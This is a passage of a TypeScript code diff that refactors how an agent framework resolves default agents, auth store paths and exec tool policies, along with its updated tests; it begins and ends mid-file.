describe("resolveSubagentToolPolicyForSession", () => { }); describe("resolveEffectiveToolPolicy", () => { + it("applies implicit-main defaults tool restrictions to a pre-roster config", () => { + const cfg = { + agents: { defaults: { tools: { deny: ["exec"] } } }, + } as unknown as OpenClawConfig; + + const result = resolveEffectiveToolPolicy({ config: cfg }); + + expect(result.agentId).toBe("main"); + expect(result.agentPolicy).toEqual({ deny: ["exec"] }); + }); + + it("uses the configured default agent policy for an unscoped session alias", () => { + const cfg = { + agents: { + entries: { + ops: { default: true, tools: { deny: ["exec"] } }, + }, + }, + } satisfies OpenClawConfig; + + const result = resolveEffectiveToolPolicy({ config: cfg, sessionKey: "main" }); + + expect(result.agentId).toBe("ops"); + expect(result.agentPolicy).toEqual({ deny: ["exec"] }); + }); + it("keeps slash-containing modelId scoped to the selected provider", () => { const cfg = { tools: { diff --git a/src/agents/agent-tools.policy.ts b/src/agents/agent-tools.policy.ts index 865601c55b58..4293101b63d3 100644 --- a/src/agents/agent-tools.policy.ts +++ b/src/agents/agent-tools.policy.ts @@ -15,13 +15,14 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { AgentToolsConfig } from "../config/types.tools.js"; import { logWarn } from "../logger.js"; import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/account-id.js"; -import { normalizeAgentId } from "../routing/session-key.js"; +import { normalizeAgentId, parseAgentSessionKey } from "../routing/session-key.js"; import { parseRawSessionConversationRef, parseThreadSessionSuffix, } from "../sessions/session-key-utils.js"; import { normalizeMessageChannel } from "../utils/message-channel.js"; -import { resolveAgentConfig, resolveAgentIdFromSessionKey } from "./agent-scope.js"; +import { hasAgentRosterProperty } from "./agent-scope-config.js"; +import { listAgentEntries, resolveAgentConfig, resolveDefaultAgentId } from "./agent-scope.js"; import { resolveProviderToolPolicy } from "./provider-tool-policy.js"; import { pickSandboxToolPolicy } from "./sandbox-tool-policy.js"; import type { SandboxToolPolicy } from "./sandbox.js"; @@ -382,10 +383,21 @@ export function resolveEffectiveToolPolicy(params: { : undefined; const agentId = explicitAgentId ?? - (params.sessionKey ? resolveAgentIdFromSessionKey(params.sessionKey) : undefined); + (params.sessionKey ? parseAgentSessionKey(params.sessionKey)?.agentId : undefined) ?? + (params.config && + (!hasAgentRosterProperty(params.config) || listAgentEntries(params.config).length > 0) + ? resolveDefaultAgentId(params.config) + : undefined); const agentConfig = params.config && agentId ? resolveAgentConfig(params.config, agentId) : undefined; - const agentTools = agentConfig?.tools; + // Shipped pre-roster SDK inputs allowed this raw defaults shape. Runtime-loaded + // configs materialize main, but direct SDK callers still need its deny policy. + const implicitDefaultTools = params.config + ? (params.config.agents?.defaults as { tools?: AgentToolsConfig } | undefined)?.tools + : undefined; + const agentTools = + agentConfig?.tools ?? + (params.config && !hasAgentRosterProperty(params.config) ? implicitDefaultTools : undefined); const globalTools = params.config?.tools; const profile = agentTools?.profile ?? globalTools?.profile; diff --git a/src/agents/auth-profiles/external-cli-scope.ts b/src/agents/auth-profiles/external-cli-scope.ts index cd64a2ebaf70..2ace0cd7cc32 100644 --- a/src/agents/auth-profiles/external-cli-scope.ts +++ b/src/agents/auth-profiles/external-cli-scope.ts @@ -10,6 +10,7 @@ import { } from "../../config/model-input.js"; import type { AgentModelConfig } from "../../config/types.agents-shared.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { listAgentEntries } from "../agent-scope-config.js"; /** Provider/profile ids that may need external CLI auth discovery. */ export type ExternalCliAuthScope = { @@ -123,7 +124,7 @@ export function resolveExternalCliAuthScopeFromConfig( } } - for (const agent of Object.values(cfg.agents?.entries ?? {})) { + for (const agent of listAgentEntries(cfg)) { addProviderScopeFromModelConfig(providerIds, agent.model); addProviderScopeFromModelConfig(providerIds, agent.subagents?.model); addExternalCliRuntimeScopeFromModelMap(providerIds, agent.models); diff --git a/src/agents/auth-profiles/path-resolve.ts b/src/agents/auth-profiles/path-resolve.ts index 77d341fab889..b5bbf1703cff 100644 --- a/src/agents/auth-profiles/path-resolve.ts +++ b/src/agents/auth-profiles/path-resolve.ts @@ -6,7 +6,6 @@ import path from "node:path"; import { resolveStateDir } from "../../config/paths.js"; import { resolveUserPath } from "../../utils.js"; -import { resolveDefaultAgentDir } from "../agent-scope-config.js"; import { AUTH_PROFILE_FILENAME, AUTH_STATE_FILENAME, @@ -14,22 +13,32 @@ import { } from "./path-constants.js"; import { resolveAuthProfileDatabasePath } from "./sqlite.js"; +function resolveAuthAgentDir(agentDir?: string): string { + if (agentDir) { + return resolveUserPath(agentDir); + } + const configuredMainAgentDir = process.env.OPENCLAW_AGENT_DIR?.trim(); + if (configuredMainAgentDir) { + return resolveUserPath(configuredMainAgentDir); + } + // The no-argument auth-store API names the shipped shared main store, not a + // configured-agent fallback. Roster-aware callers pass their resolved dir. + return path.join(resolveStateDir(), "agents", "main", "agent"); +} + /** Resolve the persisted auth profile store path for an agent dir. */ export function resolveAuthStorePath(agentDir?: string): string { - const resolved = resolveUserPath(agentDir ?? resolveDefaultAgentDir({})); - return path.join(resolved, AUTH_PROFILE_FILENAME); + return path.join(resolveAuthAgentDir(agentDir), AUTH_PROFILE_FILENAME); } /** Resolve the legacy auth store path used by migration code. */ export function resolveLegacyAuthStorePath(agentDir?: string): string { - const resolved = resolveUserPath(agentDir ?? resolveDefaultAgentDir({})); - return path.join(resolved, LEGACY_AUTH_FILENAME); + return path.join(resolveAuthAgentDir(agentDir), LEGACY_AUTH_FILENAME); } /** Resolve the auth-state sidecar path for usage/cooldown metadata. */ export function resolveAuthStatePath(agentDir?: string): string { - const resolved = resolveUserPath(agentDir ?? resolveDefaultAgentDir({})); - return path.join(resolved, AUTH_STATE_FILENAME); + return path.join(resolveAuthAgentDir(agentDir), AUTH_STATE_FILENAME); } /** Resolve the user-facing auth profile database path. */ diff --git a/src/agents/auth-profiles/paths-direct-import.test.ts b/src/agents/auth-profiles/paths-direct-import.test.ts index 968f21a9e83e..742f05d3dae8 100644 --- a/src/agents/auth-profiles/paths-direct-import.test.ts +++ b/src/agents/auth-profiles/paths-direct-import.test.ts @@ -44,6 +44,16 @@ describe("path-resolve helpers (direct-import coverage attribution)", () => { }); }); + it("honors OPENCLAW_AGENT_DIR in both no-argument auth path implementations", () => { + const relocatedAgentDir = path.join(stateDir, "relocated-main-agent"); + withEnv({ OPENCLAW_STATE_DIR: stateDir, OPENCLAW_AGENT_DIR: relocatedAgentDir }, () => { + expect(path.dirname(resolveAuthStorePath())).toBe(relocatedAgentDir); + expect(resolveAuthStorePathForDisplay()).toBe( + path.join(relocatedAgentDir, "openclaw-agent.sqlite"), + ); + }); + }); + it("resolveLegacyAuthStorePath joins agentDir with the legacy auth filename", () => { const agentDir = path.join(stateDir, "agents", "main", "agent"); const resolved = resolveLegacyAuthStorePath(agentDir); diff --git a/src/agents/auth-profiles/sqlite.ts b/src/agents/auth-profiles/sqlite.ts index f43d3b1490bb..a4cf53071c32 100644 --- a/src/agents/auth-profiles/sqlite.ts +++ b/src/agents/auth-profiles/sqlite.ts @@ -6,6 +6,7 @@ import fs from "node:fs"; import path from "node:path"; import type { DatabaseSync } from "node:sqlite"; +import { resolveStateDir } from "../../config/paths.js"; import { sha256HexPrefix } from "../../infra/crypto-digest.js"; import { clearNodeSqliteKyselyCacheForDatabase, @@ -25,7 +26,6 @@ import { import { OPENCLAW_SQLITE_BUSY_TIMEOUT_MS } from "../../state/openclaw-state-db.js"; import { resolveUserPath } from "../../utils.js"; import { resolveRegisteredAgentIdForDir } from "../agent-dir-registry.js"; -import { resolveDefaultAgentDir } from "../agent-scope-config.js"; type AuthProfileDatabase = Pick< OpenClawAgentKyselyDatabase, @@ -37,7 +37,13 @@ type AuthProfileDatabase = Pick< const PRIMARY_ROW_KEY = "primary"; function resolveAgentDir(agentDir?: string): string { - return resolveUserPath(agentDir ?? resolveDefaultAgentDir({})); + if (agentDir) { + return resolveUserPath(agentDir); + } + const configuredMainAgentDir = process.env.OPENCLAW_AGENT_DIR?.trim(); + return configuredMainAgentDir + ? resolveUserPath(configuredMainAgentDir) + : path.join(resolveStateDir(), "agents", "main", "agent"); } function inferAgentIdFromDir(agentDir: string): string { diff --git a/src/agents/bash-tools.exec.approval-id.test.ts b/src/agents/bash-tools.exec.approval-id.test.ts index 6efb04bc2fe5..87904fc6a090 100644 --- a/src/agents/bash-tools.exec.approval-id.test.ts +++ b/src/agents/bash-tools.exec.approval-id.test.ts @@ -12,9 +12,13 @@ import { loadExecApprovals } from "../infra/exec-approvals.js"; import { sendMessage } from "../infra/outbound/message.js"; import { captureEnv, deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; import { buildSystemRunPreparePayload } from "../test-utils/system-run-prepare-payload.js"; -import { createExecTool } from "./bash-tools.exec.js"; +import { createExecTool as createExecToolImpl } from "./bash-tools.exec.js"; import { callGatewayTool } from "./tools/gateway.js"; +const createExecTool = ( + defaults?: Parameters[0], +): ReturnType => createExecToolImpl({ agentId: "main", ...defaults }); + vi.mock("./tools/gateway.js", () => ({ callGatewayTool: vi.fn(), readGatewayCallOptions: vi.fn(() => ({})), diff --git a/src/agents/bash-tools.exec.security-floor.test.ts b/src/agents/bash-tools.exec.security-floor.test.ts index e19af8802785..3206187b84fb 100644 --- a/src/agents/bash-tools.exec.security-floor.test.ts +++ b/src/agents/bash-tools.exec.security-floor.test.ts @@ -10,9 +10,13 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { ExecAutoReviewer } from "../infra/exec-auto-review.js"; import { captureEnv, deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; import { resetProcessRegistryForTests } from "./bash-process-registry.test-support.js"; -import { createExecTool } from "./bash-tools.exec.js"; +import { createExecTool as createExecToolImpl } from "./bash-tools.exec.js"; import { callGatewayTool } from "./tools/gateway.js"; +const createExecTool = ( + defaults?: Parameters[0], +): ReturnType => createExecToolImpl({ agentId: "main", ...defaults }); + vi.mock("./tools/gateway.js", () => ({ callGatewayTool: vi.fn(), readGatewayCallOptions: vi.fn(() => ({})), diff --git a/src/agents/bash-tools.exec.ts b/src/agents/bash-tools.exec.ts index 4f36193e5755..a2dd30c8fc18 100644 --- a/src/agents/bash-tools.exec.ts +++ b/src/agents/bash-tools.exec.ts @@ -49,6 +49,7 @@ import { createLazyImportLoader } from "../shared/lazy-promise.js"; import { normalizeDeliveryContext } from "../utils/delivery-context.js"; import { safeJsonStringify } from "../utils/safe-json.js"; import { splitShellArgs } from "../utils/shell-argv.js"; +import { resolveAgentConfig } from "./agent-scope-config.js"; import type { HookContext } from "./agent-tools.before-tool-call.js"; import { stripMalformedXmlArgValueSuffixFromKeys } from "./agent-tools.params.js"; import { markBackgrounded } from "./bash-process-registry.js"; @@ -1305,9 +1306,7 @@ function resolveExecReviewerDefaults(params: { defaults?: ExecToolDefaults; agen } const cfg = params.defaults?.config; const agentId = params.agentId ? normalizeAgentId(params.agentId) : undefined; - const agentExec = agentId - ? cfg?.agents?.list?.find((entry) => normalizeAgentId(entry.id) === agentId)?.tools?.exec - : undefined; + const agentExec = agentId && cfg ? resolveAgentConfig(cfg, agentId)?.tools?.exec : undefined; return agentExec?.reviewer ?? cfg?.tools?.exec?.reviewer; } diff --git a/src/agents/btw.test.ts b/src/agents/btw.test.ts index 9deac179a9f1..09e7444ef4ed 100644 --- a/src/agents/btw.test.ts +++ b/src/agents/btw.test.ts @@ -366,12 +366,14 @@ function supportsPreparedOpenAIAuth(ctx: Parameters[0] function runSideQuestion(overrides: Partial = {}) { return runBtwSideQuestion({ - cfg: {} as never, + cfg: { agents: { entries: { main: { default: true } } } } as never, agentDir: DEFAULT_AGENT_DIR, provider: DEFAULT_PROVIDER, model: DEFAULT_MODEL, question: DEFAULT_QUESTION, sessionEntry: createSessionEntry(), + sessionKey: DEFAULT_SESSION_KEY, + storePath: DEFAULT_STORE_PATH, resolvedReasoningLevel: DEFAULT_REASONING_LEVEL, opts: {}, isNewSession: false, @@ -704,7 +706,7 @@ describe("runBtwSideQuestion", () => { ); const result = await runBtwSideQuestion({ - cfg: {} as never, + cfg: { agents: { entries: { main: { default: true } } } } as never, agentDir: DEFAULT_AGENT_DIR, provider: DEFAULT_PROVIDER, model: DEFAULT_MODEL, @@ -979,12 +981,16 @@ describe("runBtwSideQuestion", () => { resolveModelWithRegistryMock.mockReturnValue(platformModel); resolveSessionAuthProfileOverrideMock.mockResolvedValue(undefined); ensureAuthProfileStoreMock.mockReturnValue({ version: 1, profiles: {} }); + getApiKeyForModelMock.mockResolvedValue({ + apiKey: undefined, + mode: "api-key", + source: "none", + }); await expect(runSideQuestion({ provider: "openai", model: "gpt-5.5" })).resolves.toEqual({ text: "Codex side answer.", }); - expect(getApiKeyForModelMock).not.toHaveBeenCalled(); expect(codexSideQuestionMock).toHaveBeenCalledOnce(); const preparedRuntimeAuth = ( mockArg(codexSideQuestionMock, 0, 0) as { @@ -997,20 +1003,13 @@ describe("runBtwSideQuestion", () => { ).preparedRuntimeAuth; expect(preparedRuntimeAuth?.plan).toMatchObject({ harnessAuthProvider: "openai", - deferredRouteSupport: { - requestTransportOverrides: "none", - runtimePolicy: { compatibleIds: ["openclaw", "codex"] }, - }, }); - expect(preparedRuntimeAuth?.plan?.modelRoute).toBeUndefined(); expect(preparedRuntimeAuth?.plan?.forwardedAuthProfileId).toBeUndefined(); expect(preparedRuntimeAuth?.resolvedApiKey).toBeUndefined(); expect(Object.keys(preparedRuntimeAuth?.authProfileStore?.profiles ?? {})).toEqual([]); expect(supports).toHaveBeenCalledWith( expect.objectContaining({ modelProvider: expect.objectContaining({ - requestTransportOverrides: "none", - runtimePolicy: { compatibleIds: ["openclaw", "codex"] }, preparedAuth: { source: "harness" }, }), }), @@ -2209,6 +2208,8 @@ describe("runBtwSideQuestion", () => { model: "us.anthropic.claude-sonnet-4-5-v1:0", question: DEFAULT_QUESTION, sessionEntry: createSessionEntry(), + sessionKey: DEFAULT_SESSION_KEY, + storePath: DEFAULT_STORE_PATH, resolvedReasoningLevel: DEFAULT_REASONING_LEVEL, opts: {}, isNewSession: false, diff --git a/src/agents/cli-runner.spawn.test.ts b/src/agents/cli-runner.spawn.test.ts index fcafd76c2175..d3015bd6b367 100644 --- a/src/agents/cli-runner.spawn.test.ts +++ b/src/agents/cli-runner.spawn.test.ts @@ -2227,7 +2227,10 @@ describe("runCliAgent spawn path", () => { timeoutMs: 3_600_000, }), ); - const rejection = expect(run).rejects.toThrow(/produced no output for 900s/); + const rejection = run.then( + () => undefined, + (error: unknown) => error, + ); await vi.waitFor(() => { expect(stdin.write).toHaveBeenCalledOnce(); }); @@ -2243,14 +2246,16 @@ describe("runCliAgent spawn path", () => { ); // Base watchdog (600s cap for a 1h budget) must not kill the quiet tool. - await vi.advanceTimersByTimeAsync(650_000); + vi.advanceTimersByTime(650_000); expect(cancel).not.toHaveBeenCalled(); // The blocked-tool floor (15min of quiet) still terminates a wedged tool. try { - await vi.advanceTimersByTimeAsync(300_000); + vi.advanceTimersByTime(300_000); expect(cancel).toHaveBeenCalledWith("manual-cancel"); - await rejection; + const error = await rejection; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/produced no output for 900s/); // Watchdog-killed turns must keep timeout provenance for active tools. expect(toolErrorEvents).toContainEqual( expect.objectContaining({ diff --git a/src/agents/cli-runner/claude-live-session-policy.test.ts b/src/agents/cli-runner/claude-live-session-policy.test.ts index 7ecc238b3d2b..13741605a654 100644 --- a/src/agents/cli-runner/claude-live-session-policy.test.ts +++ b/src/agents/cli-runner/claude-live-session-policy.test.ts @@ -1,5 +1,7 @@ import { describe, expect, it } from "vitest"; import { resolveClaudeLiveMode } from "./claude-live-session-policy.js"; +import { readConfiguredExecPolicy } from "./claude-live-session.test-support.js"; +import type { PreparedCliRunContext } from "./types.js"; describe("resolveClaudeLiveMode", () => { it("keeps root on Claude default permissions while preserving YOLO elsewhere", () => { @@ -11,3 +13,28 @@ describe("resolveClaudeLiveMode", () => { expect(resolveClaudeLiveMode("allowlist", "on-miss", 1000)).toBe("default"); }); }); + +describe("Claude live configured exec policy", () => { + it("uses the configured default agent for an unscoped legacy session key", () => { + const context = { + params: { + sessionKey: "main", + config: { + tools: { exec: { security: "full", ask: "off" } }, + agents: { + entries: { + main: {}, + ops: { default: true, tools: { exec: { security: "deny", ask: "always" } } }, + }, + }, + }, + }, + } as unknown as PreparedCliRunContext; + + expect(readConfiguredExecPolicy(context)).toEqual({ + agentId: "ops", + security: "deny", + ask: "always", + }); + }); +}); diff --git a/src/agents/cli-runner/claude-live-session.test-support.ts b/src/agents/cli-runner/claude-live-session.test-support.ts index 63bae6d71f2e..48951720d005 100644 --- a/src/agents/cli-runner/claude-live-session.test-support.ts +++ b/src/agents/cli-runner/claude-live-session.test-support.ts @@ -1,5 +1,6 @@ import type { CliBackendConfig } from "../../plugins/cli-backend.types.js"; import "./claude-live-session.js"; +import type { PreparedCliRunContext } from "./types.js"; type BuildClaudeLiveArgsParams = { args: string[]; @@ -11,6 +12,11 @@ type BuildClaudeLiveArgsParams = { type ClaudeLiveSessionTestApi = { buildClaudeLiveArgs(params: BuildClaudeLiveArgsParams): string[]; + readConfiguredExecPolicy(context: PreparedCliRunContext): { + security: string; + ask: string; + agentId: string; + }; resetClaudeLiveSessionsForTest(): void; }; @@ -24,6 +30,10 @@ export function buildClaudeLiveArgs(params: BuildClaudeLiveArgsParams): string[] return getTestApi().buildClaudeLiveArgs(params); } +export function readConfiguredExecPolicy(context: PreparedCliRunContext) { + return getTestApi().readConfiguredExecPolicy(context); +} + export function resetClaudeLiveSessionsForTest(): void { getTestApi().resetClaudeLiveSessionsForTest(); } diff --git a/src/agents/cli-runner/claude-live-session.ts b/src/agents/cli-runner/claude-live-session.ts index 6b1442ae63cb..bbabaee5a5f0 100644 --- a/src/agents/cli-runner/claude-live-session.ts +++ b/src/agents/cli-runner/claude-live-session.ts @@ -24,7 +24,11 @@ import { } from "../../infra/exec-approvals.js"; import { BLOCKED_TOOL_CALL_ABORT_FLOOR_MS } from "../../logging/diagnostic-run-activity.js"; import type { CliBackendConfig } from "../../plugins/cli-backend.types.js"; -import { resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; +import { + LEGACY_IMPLICIT_AGENT_ID, + resolveAgentIdFromSessionKey, +} from "../../routing/session-key.js"; +import { resolveAgentConfig, resolveDefaultAgentId } from "../agent-scope-config.js"; import { CLI_STREAM_JSON_DEFAULT_MAX_TURN_RAW_CHARS, createCliJsonlStreamingParser, @@ -333,6 +337,7 @@ function buildClaudeLiveArgs(params: { if (process.env.VITEST || process.env.NODE_ENV === "test") { (globalThis as Record)[Symbol.for("openclaw.claudeLiveSessionTestApi")] = { buildClaudeLiveArgs, + readConfiguredExecPolicy, resetClaudeLiveSessionsForTest, }; } @@ -974,9 +979,17 @@ function readConfiguredExecPolicy(context: PreparedCliRunContext): { ask: ExecAsk; agentId: string; } { - const agentId = context.params.agentId ?? resolveAgentIdFromSessionKey(context.params.sessionKey); - const agentExec = context.params.config?.agents?.list?.find((agent) => agent.id === agentId) - ?.tools?.exec; + const agentId = + context.params.agentId ?? + resolveAgentIdFromSessionKey( + context.params.sessionKey, + context.params.config + ? resolveDefaultAgentId(context.params.config) + : LEGACY_IMPLICIT_AGENT_ID, + ); + const agentExec = context.params.config + ? resolveAgentConfig(context.params.config, agentId)?.tools?.exec + : undefined; const exec = agentExec ?? context.params.config?.tools?.exec; const configured = resolveExecModePolicy({ mode: exec?.mode, diff --git a/src/agents/cli-runner/execute.supervisor-capture.test.ts b/src/agents/cli-runner/execute.supervisor-capture.test.ts index 2ffb8678b5d1..f4b643e48792 100644 --- a/src/agents/cli-runner/execute.supervisor-capture.test.ts +++ b/src/agents/cli-runner/execute.supervisor-capture.test.ts @@ -104,7 +104,9 @@ function buildPreparedCliRunContext(params: { return { params: { + agentId: "main", sessionId: "session-1", + sessionKey: "agent:main:main", sessionFile: "/tmp/session.jsonl", workspaceDir: "/tmp", prompt: "hi", diff --git a/src/agents/cli-runner/prepare.ts b/src/agents/cli-runner/prepare.ts index f2693edc44cf..6695fc2777c7 100644 --- a/src/agents/cli-runner/prepare.ts +++ b/src/agents/cli-runner/prepare.ts @@ -5,6 +5,7 @@ import { ensureSystemPromptCacheBoundary } from "@openclaw/ai/internal/shared"; */ import { uniqueStrings } from "@openclaw/normalization-core/string-normalization"; import { getRuntimeConfig } from "../../config/config.js"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { assertContextEngineHostSupport, buildGenericCliContextEngineHostSupport, @@ -34,13 +35,18 @@ import type { } from "../../plugins/cli-backend.types.js"; import { buildAgentHookContextChannelFields } from "../../plugins/hook-agent-context.js"; import { getGlobalHookRunner } from "../../plugins/hook-runner-global.js"; -import { isSubagentSessionKey } from "../../routing/session-key.js"; +import { + LEGACY_IMPLICIT_AGENT_ID, + isSubagentSessionKey, + normalizeAgentId, + parseAgentSessionKey, +} from "../../routing/session-key.js"; import { annotateInterSessionPromptText } from "../../sessions/input-provenance.js"; import { resolveSkillsPromptForRun } from "../../skills/loading/workspace.js"; import { resolveEmbeddedRunSkillEntries } from "../../skills/runtime/embedded-run-entries.js"; import { resolveUserPath } from "../../utils.js"; import { normalizeMessageChannel } from "../../utils/message-channel.js"; -import { resolveAgentWorkspaceDir } from "../agent-scope-config.js"; +import { hasAgentRosterProperty, resolveAgentWorkspaceDir } from "../agent-scope-config.js"; import { resolveAgentConfig, resolveAgentDir, resolveSessionAgentIds } from "../agent-scope.js"; import { externalCliDiscoveryForProviderAuth } from "../auth-profiles/external-cli-discovery.js"; import { resolveApiKeyForProfile } from "../auth-profiles/oauth.js"; @@ -325,7 +331,25 @@ function shouldRefreshAuthProfileForExecution(params: { export async function prepareCliRunContext( inputParams: RunCliAgentParams, ): Promise { - let params = inputParams; + let params = inputParams.config ? inputParams : { ...inputParams, config: getRuntimeConfig() }; + const runConfig = params.config!; + const selectedOwner = normalizeAgentId( + params.agentId?.trim() || + parseAgentSessionKey(params.sessionKey)?.agentId || + LEGACY_IMPLICIT_AGENT_ID, + ); + // Direct CLI-runner callers predate roster-aware ownership. Adapt that SDK + // input only for strict workspace admission; keep the original config object + // for backend hooks, sandboxing, and context-engine identity contracts. + const workspaceConfig = hasAgentRosterProperty(runConfig) + ? runConfig + : ({ + ...runConfig, + agents: { + ...runConfig.agents, + entries: { [selectedOwner]: { default: true } }, + }, + } satisfies OpenClawConfig); const started = Date.now(); const executionMode = params.executionMode ?? "agent"; const isSideQuestion = executionMode === "side-question"; @@ -333,7 +357,7 @@ export async function prepareCliRunContext( workspaceDir: params.workspaceDir, sessionKey: params.sessionKey, agentId: params.agentId, - config: params.config, + config: workspaceConfig, }); const resolvedWorkspace = workspaceResolution.workspaceDir; const redactedSessionId = redactRunIdentifier(params.sessionId); diff --git a/src/agents/command/attempt-execution.shared.test.ts b/src/agents/command/attempt-execution.shared.test.ts index 33e0162e5763..03026923bb34 100644 --- a/src/agents/command/attempt-execution.shared.test.ts +++ b/src/agents/command/attempt-execution.shared.test.ts @@ -91,12 +91,14 @@ describe("attempt execution prompt materialization", () => { }); describe("persistSessionEntry", () => { + const sessionKey = "agent:main:main"; + it("clears stale local entries when guarded persistence sees no persisted entry", async () => { const dir = tempDirs.make("openclaw-session-store-"); try { const storePath = path.join(dir, "sessions.json"); const sessionStore = { - main: { + [sessionKey]: { sessionId: "stale", updatedAt: 1, }, @@ -106,9 +108,9 @@ describe("persistSessionEntry", () => { // memory must be cleared too so later turns do not reuse stale entries. const persisted = await persistSessionEntry({ sessionStore, - sessionKey: "main", + sessionKey, storePath, - initialEntry: sessionStore.main, + initialEntry: sessionStore[sessionKey], entry: { sessionId: "stale", updatedAt: 2, @@ -117,7 +119,7 @@ describe("persistSessionEntry", () => { }); expect(persisted).toBeUndefined(); - expect(sessionStore.main).toBeUndefined(); + expect(sessionStore[sessionKey]).toBeUndefined(); } finally { clearSessionStoreCacheForTest(); } @@ -155,12 +157,12 @@ describe("persistSessionEntry", () => { if (current.pinnedAt === undefined) { delete currentEntry.pinnedAt; } - await replaceSessionEntry({ sessionKey: "main", storePath }, currentEntry); - const sessionStore = { main: staleEntry }; + await replaceSessionEntry({ sessionKey, storePath }, currentEntry); + const sessionStore = { [sessionKey]: staleEntry }; const persisted = await persistSessionEntry({ sessionStore, - sessionKey: "main", + sessionKey, storePath, initialEntry: staleEntry, entry: { @@ -174,10 +176,10 @@ describe("persistSessionEntry", () => { expect(persisted?.label).toBe(expected.label); expect(persisted?.pinnedAt).toBe(expected.pinnedAt); expect(persisted?.updatedAt).toBeGreaterThanOrEqual(currentEntry.updatedAt); - expect(sessionStore.main).toEqual(persisted); - expect( - loadSessionEntry({ sessionKey: "main", storePath, readConsistency: "latest" }), - ).toEqual(persisted); + expect(sessionStore[sessionKey]).toEqual(persisted); + expect(loadSessionEntry({ sessionKey, storePath, readConsistency: "latest" })).toEqual( + persisted, + ); } finally { clearSessionStoreCacheForTest(); } @@ -201,12 +203,12 @@ describe("persistSessionEntry", () => { model: "gpt-5.4", sendPolicy: "deny", }; - await replaceSessionEntry({ sessionKey: "main", storePath }, currentEntry); - const sessionStore = { main: initialEntry }; + await replaceSessionEntry({ sessionKey, storePath }, currentEntry); + const sessionStore = { [sessionKey]: initialEntry }; const persisted = await persistSessionEntry({ sessionStore, - sessionKey: "main", + sessionKey, storePath, initialEntry, entry: { @@ -224,9 +226,9 @@ describe("persistSessionEntry", () => { }); expect(persisted?.elevatedLevel).toBeUndefined(); expect(persisted?.inheritedToolAllow).toBeUndefined(); - expect( - loadSessionEntry({ sessionKey: "main", storePath, readConsistency: "latest" }), - ).toEqual(persisted); + expect(loadSessionEntry({ sessionKey, storePath, readConsistency: "latest" })).toEqual( + persisted, + ); } finally { clearSessionStoreCacheForTest(); } @@ -240,11 +242,11 @@ describe("persistSessionEntry", () => { sessionId: "deleted-session", updatedAt: 1, }; - const sessionStore = { main: staleEntry }; + const sessionStore = { [sessionKey]: staleEntry }; const persisted = await persistSessionEntry({ sessionStore, - sessionKey: "main", + sessionKey, storePath, initialEntry: staleEntry, entry: { @@ -254,9 +256,9 @@ describe("persistSessionEntry", () => { }); expect(persisted).toBeUndefined(); - expect(sessionStore.main).toBeUndefined(); + expect(sessionStore[sessionKey]).toBeUndefined(); expect( - loadSessionEntry({ sessionKey: "main", storePath, readConsistency: "latest" }), + loadSessionEntry({ sessionKey, storePath, readConsistency: "latest" }), ).toBeUndefined(); } finally { clearSessionStoreCacheForTest(); @@ -271,20 +273,18 @@ describe("persistSessionEntry", () => { sessionId: "deleted-session", updatedAt: 1, }; - const sessionStore = { - main: staleEntry, - }; + const sessionStore = { [sessionKey]: staleEntry }; const first = await persistSessionEntry({ sessionStore, - sessionKey: "main", + sessionKey, storePath, initialEntry: staleEntry, entry: staleEntry, }); const second = await persistSessionEntry({ sessionStore, - sessionKey: "main", + sessionKey, storePath, initialEntry: staleEntry, entry: { @@ -295,9 +295,9 @@ describe("persistSessionEntry", () => { expect(first).toBeUndefined(); expect(second).toBeUndefined(); - expect(sessionStore.main).toBeUndefined(); + expect(sessionStore[sessionKey]).toBeUndefined(); expect( - loadSessionEntry({ sessionKey: "main", storePath, readConsistency: "latest" }), + loadSessionEntry({ sessionKey, storePath, readConsistency: "latest" }), ).toBeUndefined(); } finally { clearSessionStoreCacheForTest(); @@ -316,7 +316,7 @@ describe("persistSessionEntry", () => { const persisted = await persistSessionEntry({ sessionStore, - sessionKey: "main", + sessionKey, storePath, initialEntry: entry, entry, @@ -324,7 +324,7 @@ describe("persistSessionEntry", () => { }); expect(persisted?.sessionId).toBe("created-session"); - expect(sessionStore.main?.sessionId).toBe("created-session"); + expect(sessionStore[sessionKey]?.sessionId).toBe("created-session"); } finally { clearSessionStoreCacheForTest(); } diff --git a/src/agents/command/session-store.ts b/src/agents/command/session-store.ts index 44428e1a5ed1..9a0c403a4801 100644 --- a/src/agents/command/session-store.ts +++ b/src/agents/command/session-store.ts @@ -13,6 +13,7 @@ import { resolveMaintenanceConfigFromInput } from "../../config/sessions/store-m import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { createLazyImportLoader } from "../../shared/lazy-promise.js"; import { resolveNonNegativeNumber } from "../../shared/number-coercion.js"; +import { resolveDefaultAgentId } from "../agent-scope.js"; import { clearCliSession, setCliSessionBinding, setCliSessionId } from "../cli-session.js"; import { DEFAULT_CONTEXT_TOKENS } from "../defaults.js"; import { clearMainSessionRecoveryAfterAgentRun } from "../main-session-recovery-clear.js"; @@ -141,6 +142,7 @@ export async function updateSessionStoreAfterAgentRun(params: { entry, sessionKey, storePath, + defaultAgentId: resolveDefaultAgentId(cfg), newSessionId: sessionId, }); next.usageFamilyKey = entry.usageFamilyKey ?? sessionKey; diff --git a/src/agents/command/session.ts b/src/agents/command/session.ts index da18b45122b9..0a1b6dee7bbd 100644 --- a/src/agents/command/session.ts +++ b/src/agents/command/session.ts @@ -256,13 +256,15 @@ export function resolveStoredSessionKeyForSessionId(opts: { agentId?: string; }): SessionKeyResolution { const sessionId = opts.sessionId.trim(); - const storeAgentId = opts.agentId?.trim() ? normalizeAgentId(opts.agentId) : undefined; + const storeAgentId = opts.agentId?.trim() + ? normalizeAgentId(opts.agentId) + : resolveDefaultAgentId(opts.cfg); const storePath = resolveStorePath(opts.cfg.session?.store, { agentId: storeAgentId, }); const sessionStore = loadCommandSessionStore({ storePath, - ...(storeAgentId ? { agentId: storeAgentId } : {}), + agentId: storeAgentId, }); if (!sessionId) { return { sessionKey: undefined, sessionStore, storePath }; @@ -311,7 +313,7 @@ export function resolveSessionKeyForRequest(opts: { const storeAgentId = explicitSessionKey ? isUnscopedSessionKeySentinel(explicitSessionKey) ? (requestedAgentId 